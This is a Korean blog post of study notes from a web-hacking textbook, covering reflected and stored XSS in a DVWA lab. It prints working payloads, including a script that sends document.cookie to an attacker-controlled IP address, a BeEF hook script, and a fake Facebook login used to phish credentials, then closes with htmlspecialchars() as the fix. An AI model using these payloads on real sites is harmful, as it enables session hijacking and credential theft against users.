본문 바로가기
보안

Chapter 09. XSS 공격

qbang 2019. 3. 1.

 

Chapter 09. XSS 공격

 

- 서버의 취약점을 이용하여 자바스크립트로 클라이언트 공격(ex: 쿠키 탈취)

 

- 삽입한 코드가 언제 실행되는지에 따라 reflected 공격과 stored 공격으로 구분 가능

 

 

 

리플렉티드 XSS 공격 개요

 

- 요청 메시지에 입력된 스크립트 코드가 즉시 응답 메시지를 통해 출력되는 취약점, 주로 게시판에 글을 남기거나 이메일 피싱을 이용하여 악의적인 스크립트 코드가 담긴 요청을 사용자가 실행하도록 만듦

 

 

 

리플렉티드 XSS 공격 실습

- 빈 칸에 입력된 이름이 바로 출력됨

<script>alert(1)</script>

- 웹 애플리케이션이 사용자가 입력한 값을 그대로 출력하는 경우 리플렉티드 XSS가 존재할 가능성이 높음, 이를 테스트하기 위하여 스크립트 태그를 사용

 

<script>alert(document.cookie)</script>

 

 

 

쿠키를 출력하는 자바스크립트

 

 

 

- 공격자의 웹 서버에 쿠키 값을 전달하기 위하여 웹 서버를 작동시킨 다음, 192.168로 시작하는 IP 주소 확인

 

 

 

- 주소창에 IP 주소로 웹 서버가 잘 돌아가는 지 확인

 

 

 

- access.log에는 웹 서버로 들어온 요청 정보가 기록되고, tail 명령어는 파일의 내용이 갱신되면 새로 추가된 내용을 바로 출력해주는 명령어

<script>document.location='http://192.168.37.130/cookie?'+document.cookie</script>

- 리다이렉트된 URL이 공격자의 호스트에 존재하지 않기 때문에 에러 발생, 무시해도 되고 접근 로그에 GET /cookie? 문자열 이후 나오는 내용은 document cookie에 의해 출력된 쿠키 정보, PHPSESSIONID 쿠키 탈취 성공

 

 

BeEF 공격 프레임워크

 

 

 

- BeEF는 브라우저 익스플로잇 프레임워크 프로그램으로, 후킹 코드를 사용자가 실행하면 그 사용자의 호스트를 대상으로 여러가지 공격을 실행할 수 있도록 도움

 

 

 

- 웹 페이지가 자동으로 띄워짐, beef/beef로 로그인

 

 

 

<script src="http://127.0.0.1:3000/js"></script>

 

 

- 처음 실행될 때 확인한 후크 스크립트를 Vulnerability: Reflected Cross Site Scripting (XSS)에 입력하면

- Pretty Theft 기능은 SNS 사이트의 인터페이스를 모방하여 사용자가 그 사이트의 아이디/패스워드를 입력하도록 유도

 

 

 

- 실행시키면 dvwa 사이트에 가짜 페이스북 인터페이스가 출력됨

 

- 로그인하면 그 데이터가 BeEF에 출력됨

 

 

스토어드 XSS 공격 개요

 

- 웹 서버에 저장되었다가 실행되기 때문에 피싱 과정이 필요 없고, 해당 페이지를 접속하는 모든 사용자가 공격당할 수 있음

 

 

 

스토어드 XSS 공격 실습

 

 

 

 

 

 

더 이상 안쳐질 때 Inspect Element 클릭하면 소스코드에서 maxlength50으로 설정되어 있으니까 큰 값으로 바꿀 것

<script>document.location=’http://192.168.37.130/cookie?’+document.cookie</script>

- access.log 파일을 확인해보면 쿠키 정보가 담긴 요청 기록이 새롭게 생성되었음, 이후 방문자들은 모두 공격을 당하게 됨

 

 

 

스토어드 XSS 공격 대응

- htmlspecialchars() 함수는 특수문자들을 HTML 엔티티로 변환해주는 함수리플렉티드 XSS 공격 역시 이와 같은 방법으로 대응할 수 있음

 

 

해당 포스팅은 '화이트해커를 위한 웹 해킹의 기술' 책 내용을 바탕으로 작성되었습니다.

'보안' 카테고리의 다른 글

Chapter 11. 파일 인클루전 공격  (0) 2019.03.03
Chapter 10. XSS 요청 변조(CSRF) 공격  (0) 2019.03.01
Chapter 08. Command 인젝션 공격  (0) 2019.02.28
Chapter 07. SQL 인젝션 공격  (0) 2019.02.28
Chapter 06. 취약한 인증 공격  (0) 2019.02.27

댓글